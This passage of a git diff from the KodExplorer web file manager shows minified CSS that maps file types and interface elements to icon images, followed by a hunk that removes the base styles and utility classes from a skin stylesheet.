\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-3g2,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/movie/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');}.x-rmvb{background-image:url("../../../images/file_icon/icon_file/movie/rmvb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');}.x-mkv{background-image:url("../../../images/file_icon/icon_file/movie/mkv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');}.x-mp4,.x-m4v{background-image:url("../../../images/file_icon/icon_file/movie/mp4.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');}.x-mov{background-image:url("../../../images/file_icon/icon_file/movie/mov.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');}.x-avi{background-image:url("../../../images/file_icon/icon_file/movie/avi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');}.x-3dm,.x-3ds,.x-asm,.x-cam360,.x-catpart,.x-catproduct,.x-cgr,.x-collaboration,.x-dae,.x-dgn,.x-dlv3,.x-dwf,.x-dwfx,.x-dwg,.x-dwt,.x-dxf,.x-exp,.x-f3d,.x-fbx,.x-g,.x-gbxml,.x-iam,.x-idw,.x-ifc,.x-ige,.x-iges,.x-igs,.x-ipt,.x-jt,.x-model,.x-neu,.x-nwc,.x-nwd,.x-obj,.x-prt,.x-rvt,.x-sab,.x-sat,.x-session,.x-skp,.x-sldasm,.x-sldprt,.x-smb,.x-smt,.x-ste,.x-step,.x-stl,.x-stla,.x-stlb,.x-stp,.x-wire,.x-x_b,.x-x_t,.x-xas,.x-xpr{background-image:url("../../../images/file_icon/icon_file/autodesk/autodesk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');}.x-3ds{background-image:url("../../../images/file_icon/icon_file/autodesk/3ds.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');}.x-3dm{background-image:url("../../../images/file_icon/icon_file/autodesk/3dm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');}.x-dae{background-image:url("../../../images/file_icon/icon_file/autodesk/dae.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');}.x-stl,.x-stla,.x-stlb{background-image:url("../../../images/file_icon/icon_file/autodesk/stl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/autodesk/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');}.x-dwf{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dwfx{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/autodesk/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');}.x-ifc{background-image:url("../../../images/file_icon/icon_file/autodesk/ifc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');}.x-iam{background-image:url("../../../images/file_icon/icon_file/autodesk/iam.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');}.x-fbx{background-image:url("../../../images/file_icon/icon_file/autodesk/fbx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');}.x-rvt{background-image:url("../../../images/file_icon/icon_file/autodesk/rvt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');}.x-skp{background-image:url("../../../images/file_icon/icon_file/autodesk/skp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');}.x-vnd,.x-dgn{background-image:url("../../../images/file_icon/icon_file/autodesk/vnd-dgn.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder-share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle-full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path-self-share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app-link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-user-self{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/userSelf.png?ver=3.30',sizingMethod='scale');}.x-share{background-image:url("../../../images/file_icon/icon_others/share.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/share.png?ver=3.30',sizingMethod='scale');}.x-group-self{background-image:url("../../../images/file_icon/icon_others/groupSelf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelf.png?ver=3.30',sizingMethod='scale');}.x-group-self-owner{background-image:url("../../../images/file_icon/icon_others/groupSelfOwner.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfOwner.png?ver=3.30',sizingMethod='scale');}.x-group-guest{background-image:url("../../../images/file_icon/icon_others/groupGuest.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupGuest.png?ver=3.30',sizingMethod='scale');}.x-group-self-root{background-image:url("../../../images/file_icon/icon_others/groupSelfRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupSelfRoot.png?ver=3.30',sizingMethod='scale');}.x-group-root{background-image:url("../../../images/file_icon/icon_others/groupRoot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/groupRoot.png?ver=3.30',sizingMethod='scale');}.x-group-public{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-tree-self{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-computer{background-image:url("../../../images/file_icon/icon_others/computer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/computer.png?ver=3.30',sizingMethod='scale');}.x-tree-fav{background-image:url("../../../images/file_icon/icon_others/treeFav.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/treeFav.png?ver=3.30',sizingMethod='scale');}.x-edit{background-image:url("../../../images/file_icon/icon_others/edit.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/edit.png?ver=3.30',sizingMethod='scale');}.x-search{background-image:url("../../../images/file_icon/icon_others/search.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/search.png?ver=3.30',sizingMethod='scale');}.x-upload{background-image:url("../../../images/file_icon/icon_others/upload.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/upload.png?ver=3.30',sizingMethod='scale');}.x-setting{background-image:url("../../../images/file_icon/icon_others/setting.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-logout{background-image:url("../../../images/file_icon/icon_others/logout.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/logout.png?ver=3.30',sizingMethod='scale');}.x-app-store{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');} \ No newline at end of file diff --git a/static/style/skin/diy.css b/static/style/skin/diy.css index 06b4c98..cdcb783 100755 --- a/static/style/skin/diy.css +++ b/static/style/skin/diy.css @@ -1,3 +1 @@ -/* power by kodexplorer ver 4.25(2017-12-04) [build 1512368390.3509] */ -body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can-select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}a{text-decoration:none;}a:focus{outline:none !important;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}*,*:before,*:after{-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;}label{font-weight:normal;}pre{border:none;border-radius:0;}::-webkit-scrollbar-track-piece{background-color:rgba(180,180,180,0.06);border-radius:3px;}::-webkit-scrollbar{width:10px;height:10px;}::-webkit-scrollbar-thumb{background-color:rgba(180,180,180,0.2);border-radius:12px;background-clip:padding-box;border:1px solid rgba(180,180,180,0.4);min-height:28px;}::-webkit-scrollbar-thumb:hover{background-color:rgba(180,180,180,0.4);border:1px solid rgba(180,180,180,0.7);}.can-select,.can-select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can-not-select,.can-not-select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}.clear{clear:both;}.hidden{display:none;}.border-radius-none{border-radius:0 !important;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.font-nomal{font-weight:800;}.font-bold,.bold{font-weight:800;}.font-400{font-weight:400;}.font-800{font-weight:800;}.size12{font-size:12px;}.size14{font-size:14px;}.size16{font-size:16px;}.size18{font-size:18px;}.size20{font-size:20px;}.size22{font-size:22px;}.align-left{text-align:left;}.align-center{text-align:center;}.align-right{text-align:right;}.p-5{padding:5px;}.p-10{padding:10px;}.p-15{padding:15px;}.p-20{padding:20px;}.p-25{padding:25px;}.p-30{padding:30px;}.p-35{padding:35px;}.p-40{padding:40px;}.p-45{padding:45px;}.p-50{padding:50px;}.pt-5{padding-top:5px;}.pr-5{padding-right:5px;}.pb-5{padding-bottom:5px;}.pl-5{padding-left:5px;}.pt-10{padding-top:10px;}.pr-10{padding-right:10px;}.pb-10{padding-bottom:10px;}.pl-10{padding-left:10px;}.pt-15{padding-top:15px;}.pr-15{padding-right:15px;}.pb-15{padding-bottom:15px;}.pl-15{padding-left:15px;}.pt-20{padding-top:20px;}.pr-20{padding-right:20px;}.pb-20{padding-bottom:20px;}.pl-20{padding-left:20px;}.pt-25{padding-top:25px;}.pr-25{padding-right:25px;}.pb-25{padding-bottom:25px;}.pl-25{padding-left:25px;}.pt-30{padding-top:30px;}.pr-30{padding-right:30px;}.pb-30{padding-bottom:30px;}.pl-30{padding-left:30px;}.pt-35{padding-top:35px;}.pr-35{padding-right:35px;}.pb-35{padding-bottom:35px;}.pl-35{padding-left:35px;}.pt-40{padding-top:40px;}.pr-40{padding-right:40px;}.pb-40{padding-bottom:40px;}.pl-40{padding-left:40px;}.pt-45{padding-top:45px;}.pr-45{padding-right:45px;}.pb-45{padding-bottom:45px;}.pl-45{padding-left:45px;}.pt-50{padding-top:50px;}.pr-50{padding-right:50px;}.pb-50{padding-bottom:50px;}.pl-50{padding-left:50px;}.m-5{margin:5px;}.m-10{margin:10px;}.m-15{margin:15px;}.m-20{margin:20px;}.m-25{margin:25px;}.m-30{margin:30px;}.m-35{margin:35px;}.m-40{margin:40px;}.m-45{margin:45px;}.m-50{margin:50px;}.mt-5{margin-top:5px;}.mr-5{margin-right:5px;}.mb-5{margin-bottom:5px;}.ml-5{margin-left:5px;}.mt-10{margin-top:10px;}.mr-10{margin-right:10px;}.mb-10{margin-bottom:10px;}.ml-10{margin-left:10px;}.mt-15{margin-top:15px;}.mr-15{margin-right:15px;}.mb-15{margin-bottom:15px;}.ml-15{margin-left:15px;}.mt-20{margin-top:20px;}.mr-20{margin-right:20px;}.mb-20{margin-bottom:20px;}.ml-20{margin-left:20px;}.mt-25{margin-top:25px;}.mr-25{margin-right:25px;}.mb-25{margin-bottom:25px;}.ml-25{margin-left:25px;}.mt-30{margin-top:30px;}.mr-30{margin-right:30